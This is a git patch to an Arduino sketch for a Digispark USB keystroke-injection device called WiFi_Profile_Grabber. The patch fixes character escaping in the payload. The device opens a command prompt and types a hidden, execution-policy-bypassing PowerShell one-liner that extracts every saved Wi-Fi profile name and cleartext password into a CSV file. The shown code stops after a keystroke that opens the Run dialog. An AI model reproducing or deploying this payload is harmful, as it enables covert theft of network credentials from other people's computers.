From c43156466fb56f0a25e1bd92bba7d9d1a4686862 Mon Sep 17 00:00:00 2001 From: CedArctic Date: Sat, 10 Aug 2019 09:18:47 +0300 Subject: [PATCH] Fixed blank csv issue Characters in powershell command where not escaped properly --- WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino index 1004ecc..d2db1ce 100644 --- a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino +++ b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino @@ -12,7 +12,7 @@ void loop() { DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); - DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" ")); + DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);